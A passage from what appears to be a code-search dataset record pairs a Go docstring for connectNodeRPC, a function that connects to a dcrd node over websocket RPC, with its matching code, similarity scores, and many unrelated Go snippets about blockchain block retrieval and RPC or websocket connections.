{\n\t\treturn\n\t}\n\treturn latestBlock, nil\n}", "func (c *BlockCache) blockLength(height int) int {\n\tindex := height - c.firstBlock\n\treturn int(c.starts[index+1] - c.starts[index] - 8)\n}", "func (itr *BlocksItr) Get() (ledger.QueryResult, error) {\n\tif itr.err != nil {\n\t\treturn nil, itr.err\n\t}\n\treturn &BlockHolder{itr.nextBlockBytes}, nil\n}", "func (w *rpcWallet) GetBestBlock(ctx context.Context) (*chainhash.Hash, int64, error) {\n\thash, height, err := w.client().GetBestBlock(ctx)\n\treturn hash, height, translateRPCCancelErr(err)\n}", "func (b *BlockChain) GetLatestBlock() *Block {\n\tif len(b.Blocks) == 0 {\n\t\treturn nil\n\t}\n\n\treturn b.Blocks[len(b.Blocks)-1]\n}", "func (a *API) fetchLatestBlock() (*Block, error) {\n\tb := &Block{}\n\tif err := net.GetJSON(\"https://blockchain.info/latestblock\", b); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "func (b *AbstractBaseEntity) GetBlock(parent string) (string, error) {\n\tparent = `(?m)^` + parent + `$`\n\treturn b.node.GetSection(parent, \"running-config\")\n}", "func (c *ChainIO) GetBestBlock() (*chainhash.Hash, int32, er.R) {\n\treturn chaincfg.TestNet3Params.GenesisHash, c.BestHeight, nil\n}", "func getHeight(latestHeight int64, heightPtr *int64) (int64, error) {\n\tif heightPtr != nil {\n\t\theight := *heightPtr\n\t\tif height <= 0 {\n\t\t\treturn 0, fmt.Errorf(\"height must be greater than 0, but got %d\", height)\n\t\t}\n\t\tif height > latestHeight {\n\t\t\treturn 0, fmt.Errorf(\"height %d must be less than or equal to the current blockchain height %d\",\n\t\t\t\theight, latestHeight)\n\t\t}\n\t\tbase := env.BlockStore.Base()\n\t\tif height < base {\n\t\t\treturn 0, fmt.Errorf(\"height %d is not available, lowest height is %d\",\n\t\t\t\theight, base)\n\t\t}\n\t\treturn height, nil\n\t}\n\treturn latestHeight, nil\n}", "func (h *NeutrinoDBStore) FetchBlockHeaderByHeight(height uint32) (*wire.BlockHeader, er.R) {\n\tvar header *wire.BlockHeader\n\treturn header, walletdb.View(h.Db, func(tx walletdb.ReadTx) er.R {\n\t\tvar err er.R\n\t\theader, err = h.FetchBlockHeaderByHeight1(tx, height)\n\t\treturn err\n\t})\n}", "func AskForBlock(height int32, hash string) {\n\tlocalPeerMap := Peers.Copy()\n\tif height == 0 {\n\t\tfmt.Print(\"Parent Block not in chain\")\n\t\treturn\n\t}\n\tfor k, _ := range localPeerMap {\n\t\ts := strconv.FormatInt(int64(height), 10)\n\t\t/* Calls Upload Block */\n\t\tremoteAddress := \"http://\" + k + \"/block/\" + s + \"/\" + hash\n\t\t/* Make a GET request to peer to see if the block is there */\n\t\treq, _ := http.NewRequest(\"GET\", remoteAddress, nil)\n\t\tres, _ := http.DefaultClient.Do(req)\n\t\tdefer res.Body.Close()\n\t\t/* This means no block */\n\t\tif res.StatusCode == 204 {\n\t\t\t/* Recurse and Look for Parent Block if we can't find parent */\n\t\t\tparentHeight := height - 1\n\t\t\tAskForBlock(parentHeight, hash)\n\t\t} else if res.StatusCode == 200 {\n\t\t\tbody, _ := ioutil.ReadAll(res.Body)\n\t\t\tnewBlock := p2.Block{}\n\t\t\t/* Decode from Json must not be working correctly */\n\t\t\tnewBlock.DecodeFromJson(string(body))\n\t\t\tSBC.Insert(newBlock)\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"500 error\")\n\t\t}\n\t\tres.Body.Close()\n\t}\n}", "func GetBlockByHash(hash []byte, file *os.File, db *sql.DB) ([]byte, error) {\n\tfile.Seek(0, io.SeekStart) // reset seek pointer\n\n\tvar blockPos int\n\tvar blockSize int\n\t// need the position, size and hash of the block from databse\n\trows, err := db.Query(sqlstatements.GET_POSITION_SIZE_HASH_FROM_METADATA)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Failed to create rows to iterate to find position and size of wanted block\")\n\t}\n\tvar pos int\n\tvar size int\n\tvar bHash string\n\tfor rows.Next() {\n\t\trows.Scan(&pos, &size, &bHash)\n\t\tif bHash == string(hash) {\n\t\t\t// save the wanted block size and position\n\t\t\tblockPos = pos\n\t\t\tblockSize = size\n\t\t}\n\t}\n\n\t// goes to the positition of the block given through param\n\t_, err = file.Seek(int64(blockPos)+4, 0)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Failed to seek up to given blocks position in file\")\n\t}\n\n\t// store the bytes from the file reading from the seeked position to the size of the block\n\tbl := make([]byte, blockSize)\n\t_, err = io.ReadAtLeast(file, bl, blockSize)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Unable to read file data from the blocks start to it's end\")\n\t}\n\n\treturn bl, nil\n}", "func GetChainHeight(cliCtx context.CLIContext) (int64, error) {\n\tnode, err := cliCtx.GetNode()\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\tstatus, err := node.Status()\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\theight := status.SyncInfo.LatestBlockHeight\n\treturn height, nil\n}", "func (bc *BlockChain) GetBody(hash common.Hash) *types.Body {\n\t// Short circuit if the body's already in the cache, retrieve otherwise\n\tif cached, ok := bc.bodyCache.Get(hash); ok {\n\t\tbody := cached.(*types.Body)\n\t\treturn body\n\t}\n\tnumber := bc.hc.GetBlockNumber(hash)\n\tif number == nil {\n\t\treturn nil\n\t}\n\tbody := rawdb.ReadBody(bc.db, hash, *number)\n\tif body == nil {\n\t\treturn nil\n\t}\n\t// Cache the found body for next time and return\n\tbc.bodyCache.Add(hash, body)\n\treturn body\n}", "func (bp RPCBlockProvider) GetBlockHeight() int {\r\n\tvar block int\r\n\terr := bp.Client.Call(\"BlockPropagationHandler.GetBlockHeight\", 0, &block)\r\n\tif err != nil {\r\n\t\tlog.Print(err)\r\n\t}\r\n\treturn block\r\n}", "func (c *Client) getTargetBlockOrLatest(\n\tctx context.Context,\n\theight int64,\n\twitness provider.Provider,\n) (bool, *types.LightBlock, error) {\n\tlightBlock, err := witness.LightBlock(ctx, 0)\n\tif err != nil {\n\t\treturn false, nil, err\n\t}\n\n\tif lightBlock.Height == height {\n\t\t// the witness has caught up to the height of the provider's signed header. We\n\t\t// can resume with checking the hashes.\n\t\treturn true, lightBlock, nil\n\t}\n\n\tif lightBlock.Height > height {\n\t\t// the witness has caught up. We recursively call the function again. However in order\n\t\t// to avoud a wild goose chase where the witness sends us one header below and one header\n\t\t// above the height we set a timeout to the context\n\t\tlightBlock, err := witness.LightBlock(ctx, height)\n\t\treturn true, lightBlock, err\n\t}\n\n\treturn false, lightBlock, nil\n}", "func CurrentHeight(name string) uint32 {\n coin := Config.GetCoin(name)\n // Caches currentHeight for 10 seconds.\n if coin.CurrentHeightTime == 0 ||\n coin.CurrentHeightTime+CURRENT_HEIGHT_CACHE_SEC < time.Now().Unix() {\n currentHeight := rpc.GetCurrentHeight(coin.Name)\n coin.CurrentHeight = currentHeight\n coin.CurrentHeightTime = time.Now().Unix()\n }\n return coin.CurrentHeight;\n}", "func GetBlockHash(hostURL string, hostPort int, height int) *bytes.Buffer {\n\tparams := []int{height}\n\treturn makePostRequest(hostURL, hostPort, \"on_getblockhash\", params)\n}", "func (ds *Dsync) GetBlock(ctx context.Context, hash string) ([]byte, error) {\n\trdr, err := ds.bapi.Get(ctx, path.New(hash))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ioutil.ReadAll(rdr)\n}", "func (sbc *SyncBlockChain) GetLatestBlock() []Block {\n\tret := sbc.Get(sbc.BC.Length)\n\treturn ret\n}", "func (db *Database) QueryLatestBlockHeight() (int64, error) {\n\tvar block schema.Block\n\n\terr := db.Model(&block).\n\t\tColumn(\"height\").\n\t\tLimit(1).\n\t\tOrder(\"id DESC\").\n\t\tSelect()\n\n\tif err == pg.ErrNoRows {\n\t\treturn 0, fmt.Errorf(\"no rows in block table: %s\", err)\n\t}\n\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"unexpected database error: %s\", err)\n\t}\n\n\treturn block.Height, nil\n}", "func (eb *EBlock) Get(c *Client) error {\n\t// If the EBlock is already populated then there is nothing to do.\n\tif eb.IsPopulated() {\n\t\treturn nil\n\t}\n\n\t// If we don't have a KeyMR, fetch the chain head KeyMR.\n\tif eb.KeyMR == nil {\n\t\t// If the KeyMR and ChainID are both nil we have nothing to\n\t\t// query for.\n\t\tif eb.ChainID == nil {\n\t\t\treturn fmt.Errorf(\"no KeyMR or ChainID specified\")\n\t\t}\n\t\tif err := eb.GetChainHead(c); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Make RPC request for this Entry Block.\n\tparams := struct {\n\t\tKeyMR *Bytes32 `json:\"hash\"`\n\t}{KeyMR: eb.KeyMR}\n\tvar result struct {\n\t\tData Bytes `json:\"data\"`\n\t}\n\tif err := c.FactomdRequest(\"raw-data\", params, &result); err != nil {\n\t\treturn err\n\t}\n\theight := eb.Height\n\tif err := eb.UnmarshalBinary(result.Data); err != nil {\n\t\treturn err\n\t}\n\t// Verify height if it was initialized\n\tif height > 0 && height != eb.Height {\n\t\treturn fmt.Errorf(\"height does not match\")\n\t}\n\tkeyMR, err := eb.ComputeKeyMR()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif *eb.KeyMR != keyMR {\n\t\treturn fmt.Errorf(\"invalid key merkle root\")\n\t}\n\treturn nil\n}", "func (w *InMemoryWorld) GetHeight(x, z int) int {\n\tfor y := WorldHeight - 1; y >= 0; y-- {\n\t\tif w.GetBlock(x, y, z) != block.Air {\n\t\t\treturn y + 1\n\t\t}\n\t}\n\treturn 0\n}", "func (bc *Blockchain) LatestBlock() *block.Block {\n\treturn bc.blocks[len(bc.blocks)-1]\n}", "func (b *BlockChain) LatestBlockLocator() []*common.Uint256 {\n\tb.lock.RLock()\n\tdefer b.lock.RUnlock()\n\n\tvar ret []*common.Uint256\n\tparent, err := b.db.Headers().GetBest()\n\tif err != nil { // No headers stored return empty locator\n\t\treturn ret\n\t}\n\n\trollback := func(parent *util.Header, n int) (*util.Header, error) {\n\t\tfor i := 0; i < n; i++ {\n\t\t\tparent, err = b.db.Headers().GetPrevious(parent)\n\t\t\tif err != nil {\n\t\t\t\treturn parent, err\n\t\t\t}\n\t\t}\n\t\treturn parent, nil\n\t}\n\n\tstep := 1\n\tstart := 0\n\tfor {\n\t\tif start >= 9 {\n\t\t\tstep *= 2\n\t\t\tstart = 0\n\t\t}\n\t\thash := parent.Hash()\n\t\tret = append(ret, &hash)\n\t\tif len(ret) >= MaxBlockLocatorHashes {\n\t\t\tbreak\n\t\t}\n\t\tparent, err = rollback(parent, step)\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tstart += 1\n\t}\n\treturn ret\n}", "func (cache *diskBlockCacheWrapped) Get(ctx context.Context, tlfID tlf.ID,\n\tblockID kbfsblock.ID) (\n\tbuf []byte, serverHalf kbfscrypto.BlockCryptKeyServerHalf,\n\tprefetchStatus PrefetchStatus, err error) {\n\tcache.mtx.RLock()\n\tdefer cache.mtx.RUnlock()\n\tprimaryCache := cache.workingSetCache\n\tsecondaryCache := cache.syncCache\n\tif cache.config.IsSyncedTlf(tlfID) && cache.syncCache != nil {\n\t\tprimaryCache, secondaryCache = secondaryCache, primaryCache\n\t}\n\t// Check both caches if the primary cache doesn't have the block.\n\tbuf, serverHalf, prefetchStatus, err =\n\t\tprimaryCache.Get(ctx, tlfID, blockID)\n\tif _, isNoSuchBlockError := err.(NoSuchBlockError); isNoSuchBlockError &&\n\t\tsecondaryCache != nil {\n\t\treturn secondaryCache.Get(ctx, tlfID, blockID)\n\t}\n\treturn buf, serverHalf, prefetchStatus, err\n}", "func (a *Blocks) At(ctx context.Context, height uint64) (*Block, *Response, error) {\n\turl, err := joinUrl(a.options.BaseUrl, fmt.Sprintf(\"/blocks/at/%d\", height))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treq, err := http.NewRequest(\"GET\", url.String(), nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tout := new(Block)\n\tresponse, err := doHttp(ctx, a.options, req, out)\n\tif err != nil {\n\t\treturn nil, response, err\n\t}\n\treturn out, response, nil\n}" ]
[ "0.7413385", "0.7301125", "0.7272819", "0.6949788", "0.69334644", "0.6897508", "0.68157536", "0.6755423", "0.66290843", "0.66019964", "0.6551436", "0.64818543", "0.64643836", "0.64366305", "0.6436303", "0.6425219", "0.6414073", "0.6406841", "0.6400347", "0.6395481", "0.6392581", "0.6381226", "0.6372047", "0.63351536", "0.63013375", "0.6286549", "0.6256071", "0.6226679", "0.6207477", "0.6203399", "0.6197055", "0.6178994", "0.6173486", "0.6144756", "0.61369675", "0.6132265", "0.61271226", "0.6109249", "0.60980034", "0.60769016", "0.6041992", "0.6039782", "0.6026969", "0.6023454", "0.59979457", "0.5989397", "0.59881634", "0.5977076", "0.5965346", "0.5941873", "0.5926826", "0.58809173", "0.58763516", "0.58743834", "0.5870198", "0.58382916", "0.5837067", "0.58286405", "0.5821175", "0.5803057", "0.5800085", "0.57934225", "0.57924664", "0.57836586", "0.5780835", "0.5764407", "0.57622474", "0.5762078", "0.575539", "0.5753798", "0.5740289", "0.5738948", "0.57282645", "0.57282645", "0.5719961", "0.5708346", "0.5707914", "0.5704585", "0.57025796", "0.57022554", "0.5698884", "0.5697481", "0.56912756", "0.5688379", "0.56867397", "0.567665", "0.5666999", "0.56648046", "0.5657619", "0.563931", "0.56344837", "0.5615829", "0.56146324", "0.5613067", "0.5594265", "0.558897", "0.55882156", "0.55859655", "0.5578181", "0.5577733" ]
0.73146623
1
connectNodeRPC attempts to create a new websocket connection to a dcrd node with the given credentials and notification handlers.
func connectNodeRPC(host, user, pass, cert string, notifications *rpcclient.NotificationHandlers) (*rpcclient.Client, error) { dcrdCerts, err := ioutil.ReadFile(cert) if err != nil { return nil, fmt.Errorf("TLS certificate read error: %v", err) } config := &rpcclient.ConnConfig{ Host: host, Endpoint: "ws", // websocket User: user, Pass: pass, Certificates: dcrdCerts, } dcrdClient, err := rpcclient.New(config, notifications) if err != nil { return nil, fmt.Errorf("Failed to start dcrd RPC client: %v", err) } return dcrdClient, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (w *rpcWallet) Connect(ctx context.Context) error {\n\tw.rpcMtx.Lock()\n\tdefer w.rpcMtx.Unlock()\n\n\t// NOTE: rpcclient.(*Client).Disconnected() returns false prior to connect,\n\t// so we cannot block incorrect Connect calls on that basis. However, it is\n\t// always safe to call Shutdown, so do it just in case.\n\tw.rpcConnector.Shutdown()\n\n\t// Prepare a fresh RPC client.\n\tntfnHandlers := &rpcclient.NotificationHandlers{\n\t\t// Setup an on-connect handler for logging (re)connects.\n\t\tOnClientConnected: func() { w.handleRPCClientReconnection(ctx) },\n\t}\n\tnodeRPCClient, err := rpcclient.New(w.rpcCfg, ntfnHandlers)\n\tif err != nil { // should never fail since we validated the config in newRPCWallet\n\t\treturn fmt.Errorf(\"failed to create dcrwallet RPC client: %w\", err)\n\t}\n\n\tatomic.StoreUint32(&w.connectCount, 0) // handleRPCClientReconnection should skip checkRPCConnection on first Connect\n\n\tw.rpcConnector = nodeRPCClient\n\tw.rpcClient = newCombinedClient(nodeRPCClient, w.chainParams)\n\n\terr = nodeRPCClient.Connect(ctx, false) // no retry\n\tif err != nil {\n\t\treturn fmt.Errorf(\"dcrwallet connect error: %w\", err)\n\t}\n\n\tnet, err := w.rpcClient.GetCurrentNet(ctx)\n\tif err != nil {\n\t\treturn translateRPCCancelErr(err)\n\t}\n\tif net != w.chainParams.Net {\n\t\treturn fmt.Errorf(\"unexpected wallet network %s, expected %s\", net, w.chainParams.Net)\n\t}\n\n\t// The websocket client is connected now, so if the following check\n\t// fails and we return with a non-nil error, we must shutdown the\n\t// rpc client otherwise subsequent reconnect attempts will be met\n\t// with \"websocket client has already connected\".\n\tspv, err := checkRPCConnection(ctx, w.rpcConnector, w.rpcClient, w.log)\n\tif err != nil {\n\t\t// The client should still be connected, but if not, do not try to\n\t\t// shutdown and wait as it could hang.\n\t\tif !errors.Is(err, rpcclient.ErrClientShutdown) {\n\t\t\t// Using w.Disconnect would deadlock with rpcMtx already locked.\n\t\t\tw.rpcConnector.Shutdown()\n\t\t\tw.rpcConnector.WaitForShutdown()\n\t\t}\n\t\treturn err\n\t}\n\n\tw.spvMode = spv\n\n\treturn nil\n}", "func connectRPC(host, user, pass, certPath string) (*rpcclient.Client, error) {\n\t// Attempt to read certs\n\tcerts := []byte{}\n\tvar readCerts []byte\n\tvar err error\n\tif len(certPath) > 0 {\n\t\treadCerts, err = ioutil.ReadFile(certPath)\n\t} else {\n\t\t// Try a default cert path\n\t\tsoterdDir := soterutil.AppDataDir(\"soterd\", false)\n\t\treadCerts, err = ioutil.ReadFile(filepath.Join(soterdDir, \"rpc.cert\"))\n\t}\n\tif err == nil {\n\t\tcerts = readCerts\n\t}\n\n\tcfg := rpcclient.ConnConfig{\n\t\tHost: host,\n\t\tEndpoint: \"ws\",\n\t\tUser: user,\n\t\tPass: pass,\n\t\tCertificates: certs,\n\t\tDisableAutoReconnect: true,\n\t}\n\n\tclient, err := rpcclient.New(&cfg, nil)\n\tif err != nil {\n\t\treturn client, err\n\t}\n\n\treturn client, nil\n}", "func ConnectTransferNode(url string, auth string) *TransferNodeConnection {\n\tconn, _, err := websocket.DefaultDialer.Dial(url, http.Header{})\n\tnewConn := &TransferNodeConnection{\n\t\tConn: conn,\n\t\tError: err,\n\t\tAuthKey: auth,\n\t\tChunksRequests: make(chan ChunksRequest, 10), // buffered so we can write to it before listening to it\n\t\tReceivedFileID: make(chan string),\n\t\tReceivedProgressBytes: make(chan uint64),\n\t\tReceivedError: make(chan error),\n\t\tReceivedRecipients: make(chan []*protobufs.RecipientsData_Recipient),\n\t\tDone: make(chan bool),\n\t}\n\tgo newConn.readLoop()\n\treturn newConn\n}", "func DiscordConnect() (err error) {\n\tdg, err = discordgo.New(\"Bot \" + o.DiscordToken)\n\tif err != nil {\n\t\tlog.Println(\"FATA: error creating Discord session,\", err)\n\t\treturn\n\t}\n\tlog.Println(\"INFO: Bot is Opening\")\n\tdg.AddHandler(MessageCreateHandler)\n\tdg.AddHandler(GuildCreateHandler)\n\t// dg.AddHandler(GuildDeleteHandler)\n\tdg.AddHandler(VoiceStatusUpdateHandler)\n\tdg.AddHandler(ConnectHandler)\n\tif o.DiscordNumShard > 1 {\n\t\tdg.ShardCount = o.DiscordNumShard\n\t\tdg.ShardID = o.DiscordShardID\n\t}\n\n\tif o.Debug {\n\t\tdg.LogLevel = discordgo.LogDebug\n\t}\n\t// Open Websocket\n\terr = dg.Open()\n\tif err != nil {\n\t\tlog.Println(\"FATA: Error Open():\", err)\n\t\treturn\n\t}\n\t_, err = dg.User(\"@me\")\n\tif err != nil {\n\t\t// Login unsuccessful\n\t\tlog.Println(\"FATA:\", err)\n\t\treturn\n\t} // Login successful\n\tlog.Println(\"INFO: Bot is now running. Press CTRL-C to exit.\")\n\tinitRoutine()\n\tdg.UpdateGameStatus(0, o.DiscordStatus)\n\treturn nil\n}", "func (c *Notification2Client) connect() error {\n\tif c.dialer == nil {\n\t\tpanic(\"Missing dialer for realtime client\")\n\t}\n\tws, err := c.createWebsocket()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.mtx.Lock()\n\tdefer c.mtx.Unlock()\n\n\tc.ws = ws\n\tif c.tomb == nil {\n\t\tc.tomb = &tomb.Tomb{}\n\t\tc.tomb.Go(c.worker)\n\t}\n\tc.connected = true\n\n\treturn nil\n}", "func (cm *RPCConnManager) Connect(addr string, permanent bool) error {\n\treplyChan := make(chan error)\n\tcm.server.query <- connectNodeMsg{\n\t\taddr: addr,\n\t\tpermanent: permanent,\n\t\treply: replyChan,\n\t}\n\treturn <-replyChan\n}", "func (h *Harness) connectRPCClient() (e error) {\n\tvar client *rpcclient.Client\n\trpcConf := h.node.config.rpcConnConfig()\n\tfor i := 0; i < h.maxConnRetries; i++ {\n\t\tif client, e = rpcclient.New(&rpcConf, h.handlers, qu.T()); E.Chk(e) {\n\t\t\ttime.Sleep(time.Duration(i) * 50 * time.Millisecond)\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\tif client == nil {\n\t\treturn fmt.Errorf(\"connection timeout\")\n\t}\n\th.Node = client\n\th.wallet.SetRPCClient(client)\n\treturn nil\n}", "func ws_Server_Connect(server_url string) (ws *websocket.Conn, err error) {\n\n\tvar wss_server_url = wss_prefix + server_url\n\tws, err = wsProxyDial(wss_server_url, \"tcp\", wss_server_url)\n\n\tif err != nil {\n\t\tlog.Printf(\"[%s] wsProxyDial : \", __FILE__, err)\n\t\treturn nil, err\n\t}\n\n\tname := getUniqueID()\n\n\terr = wsReqeustConnection(ws, name)\n\tif err != nil {\n\t\tlog.Printf(\"[%s] ws_Server_Connect error = \", err)\n\t\treturn ws, err\n\t}\n\n\treturn ws, nil\n\n}", "func connectWebsocket(port string) {\n\tfor {\n\t\tvar err error\n\t\tServerIP = utils.DiscoverServer()\n\t\tif ServerIP == \"\" {\n\t\t\tlogger.WithFields(logger.Fields{}).Debugf(\"Wait 5 seconds to redail...\")\n\t\t\ttime.Sleep(time.Second * 5)\n\t\t\tcontinue\n\t\t}\n\t\tu := url.URL{Scheme: \"ws\", Host: ServerIP + \":\" + os.Getenv(\"CASA_SERVER_PORT\"), Path: \"/v1/ws\"}\n\t\tWS, _, err = websocket.DefaultDialer.Dial(u.String(), nil)\n\t\tif err != nil {\n\t\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCCW001\"}).Errorf(\"%s\", err.Error())\n\t\t\tlogger.WithFields(logger.Fields{}).Debugf(\"Wait 5 seconds to redail...\")\n\t\t\ttime.Sleep(time.Second * 5)\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\n\taddr := strings.Split(WS.LocalAddr().String(), \":\")[0]\n\tmessage := WebsocketMessage{\n\t\tAction: \"newConnection\",\n\t\tBody: []byte(addr + \":\" + port),\n\t}\n\tbyteMessage, _ := json.Marshal(message)\n\terr := WS.WriteMessage(websocket.TextMessage, byteMessage)\n\tif err != nil {\n\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCCW002\"}).Errorf(\"%s\", err.Error())\n\t\treturn\n\t}\n\tlogger.WithFields(logger.Fields{}).Debugf(\"Websocket connected!\")\n}", "func connectConsumer(client *http.Client) (*websocket.Conn, error) {\n\n\ttransport, ok := client.Transport.(*http.Transport)\n\tif !ok {\n\t\treturn nil, errors.New(\"HTTP client doens't have http.Transport\")\n\t}\n\n\tsocket := &websocket.Dialer{\n\t\tTLSClientConfig: &tls.Config{\n\t\t\tRootCAs: transport.TLSClientConfig.RootCAs,\n\t\t\tCertificates: []tls.Certificate{\n\t\t\t\ttransport.TLSClientConfig.Certificates[0]},\n\t\t\tServerName: common.Cfg.EaaCommonName,\n\t\t\tMinVersion: tls.VersionTLS12,\n\t\t},\n\t}\n\n\thostHeader := http.Header{}\n\thostHeader.Add(\"Host\", common.Cfg.Namespace+\":\"+common.Cfg.ConsumerAppID)\n\n\tconn, resp, err := socket.Dial(\"wss://\"+common.Cfg.EdgeNodeEndpoint+\n\t\t\"/notifications\", hostHeader)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"Couldn't dial to wss\")\n\t}\n\tdefer func() {\n\t\tif err := resp.Body.Close(); err != nil {\n\t\t\tlog.Println(\"Failed to close response body\")\n\t\t}\n\t}()\n\n\treturn conn, nil\n}", "func WebSocketConnect(serviceURL string, opts ...ClientOpt) (jsonrpc.Client, error) {\n\ttransport, err := transport.NewWebSocketClientTransport(serviceURL)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn New(append(opts, ClientTrans(transport))...)\n}", "func ConnectWebsocketServer(addr, origin string) (c net.Conn, err error) {\n\tcfg, err := websocket.NewConfig(addr, origin)\n\tif err != nil {\n\t\treturn\n\t}\n\tcfg.Dialer = &net.Dialer{\n\t\tTimeout: time.Second * 10,\n\t}\n\n\tconn, err := websocket.DialConfig(cfg)\n\tif err != nil {\n\t\treturn\n\t}\n\tc = NewWebSocketConn(conn)\n\treturn\n}", "func (s *Server) ConnectNode(w http.ResponseWriter, req *http.Request) {\n\tnode := req.Context().Value(\"node\").(*peer.Node)\n\tpeer := req.Context().Value(\"peer\").(*peer.Node)\n\n\tif err := s.network.Connect(node.ID, peer.ID); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\ts.JSON(w, http.StatusOK, node.ID)\n}", "func newRPCWallet(settings map[string]string, logger dex.Logger, net dex.Network) (*rpcWallet, error) {\n\tcfg, chainParams, err := loadRPCConfig(settings, net)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing config: %w\", err)\n\t}\n\n\t// Check rpc connection config values\n\tmissing := \"\"\n\tif cfg.RPCUser == \"\" {\n\t\tmissing += \" username\"\n\t}\n\tif cfg.RPCPass == \"\" {\n\t\tmissing += \" password\"\n\t}\n\tif missing != \"\" {\n\t\treturn nil, fmt.Errorf(\"missing dcrwallet rpc credentials:%s\", missing)\n\t}\n\n\tlog := logger.SubLogger(\"RPC\")\n\trpcw := &rpcWallet{\n\t\tchainParams: chainParams,\n\t\tlog: log,\n\t}\n\n\tcerts, err := os.ReadFile(cfg.RPCCert)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"TLS certificate read error: %w\", err)\n\t}\n\n\tlog.Infof(\"Setting up rpc client to communicate with dcrwallet at %s with TLS certificate %q.\",\n\t\tcfg.RPCListen, cfg.RPCCert)\n\trpcw.rpcCfg = &rpcclient.ConnConfig{\n\t\tHost: cfg.RPCListen,\n\t\tEndpoint: \"ws\",\n\t\tUser: cfg.RPCUser,\n\t\tPass: cfg.RPCPass,\n\t\tCertificates: certs,\n\t\tDisableConnectOnNew: true, // don't start until Connect\n\t}\n\t// Validate the RPC client config, and create a placeholder (non-nil) RPC\n\t// connector and client that will be replaced on Connect. Any method calls\n\t// prior to Connect will be met with rpcclient.ErrClientNotConnected rather\n\t// than a panic.\n\tnodeRPCClient, err := rpcclient.New(rpcw.rpcCfg, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error setting up rpc client: %w\", err)\n\t}\n\trpcw.rpcConnector = nodeRPCClient\n\trpcw.rpcClient = newCombinedClient(nodeRPCClient, chainParams)\n\n\treturn rpcw, nil\n}", "func connect() *websocket.Conn {\n\turl := url.URL{Scheme: \"ws\", Host: *addr, Path: \"/ws\"}\n\tlog.Info(\"Connecting to \", url.String())\n\tconn, _, err := dialer.Dial(url.String(), nil)\n\tcheckError(err)\n\tlog.Info(\"Connected to \", url.String())\n\n\t// Read the message from server with deadline of ResponseWait(30) seconds\n\tconn.SetReadDeadline(time.Now().Add(utils.ResponseWait * time.Second))\n\n\treturn conn\n}", "func (bf *WebSocketClient) Connect() error {\n\turl := url2.URL{Scheme: \"wss\", Host: url, Path: \"/json-rpc\"}\n\tcon, _, err := websocket.DefaultDialer.Dial(url.String(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbf.Con = con\n\treturn nil\n}", "func BtcdConnect(certificates []byte) (*BtcdRPCConn, error) {\n\t// Open websocket connection.\n\tws, err := BtcdWS(certificates)\n\tif err != nil {\n\t\tlog.Errorf(\"Cannot open websocket connection to btcd: %v\", err)\n\t\treturn nil, err\n\t}\n\n\t// Create and start RPC connection using the btcd websocket.\n\trpc := NewBtcdRPCConn(ws)\n\trpc.Start()\n\treturn rpc, nil\n}", "func (a *Adapter) Connect(addr string) error {\n\tconn, _, err := websocket.DefaultDialer.Dial(\"ws://\"+addr, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not connect to node! %s\", err)\n\t}\n\n\ta.Conn = conn\n\n\tgo a.handleMessage()\n\n\treturn nil\n}", "func (node *RaftNode) Connect_raft_node(ctx context.Context, id int, rep_addrs []string, testing bool) {\n\n\t/*\n\t * Connect the new node to the existing nodes.\n\t * Attempt to gRPC dial to other replicas and obtain corresponding client stubs.\n\t * ConnectToPeerReplicas is defined in raft_node.go.\n\t */\n\tlog.Println(\"Obtaining client stubs of gRPC servers running at peer replicas...\")\n\tnode.ConnectToPeerReplicas(ctx, rep_addrs)\n\n\t// Setting up and running the gRPC server\n\tgrpc_address := \":500\" + strconv.Itoa(id)\n\n\ttcpAddr, err := net.ResolveTCPAddr(\"tcp4\", grpc_address)\n\tCheckErrorFatal(err)\n\n\tlistener, err := net.ListenTCP(\"tcp\", tcpAddr)\n\tCheckErrorFatal(err)\n\n\tnode.Meta.grpc_server = grpc.NewServer()\n\n\t/*\n\t * ConsensusService is defined in protos/replica.proto\n\t * RegisterConsensusServiceServer is present in the generated .pb.go file\n\t */\n\tprotos.RegisterConsensusServiceServer(node.Meta.grpc_server, node)\n\n\t// Running the gRPC server\n\tgo node.StartGRPCServer(ctx, grpc_address, listener, testing)\n\n\t// wait till grpc server is up\n\tconnxn, err := grpc.Dial(grpc_address, grpc.WithInsecure())\n\n\t// below block may not be needed\n\tfor err != nil {\n\t\tconnxn, err = grpc.Dial(grpc_address, grpc.WithInsecure())\n\t}\n\n\tfor {\n\n\t\tif connxn.GetState() == connectivity.Ready {\n\t\t\tbreak\n\t\t}\n\n\t\ttime.Sleep(20 * time.Millisecond)\n\n\t}\n\n\t// Now we can start listening to client requests\n\n\t// Set up the server that listens for client requests.\n\tserver_address := \":400\" + strconv.Itoa(id)\n\tlog.Println(\"Starting raft replica server...\")\n\tgo node.StartRaftServer(ctx, server_address, testing)\n\n\ttest_addr := fmt.Sprintf(\"http://localhost%s/test\", server_address)\n\n\t// Check whether the server is active\n\tfor 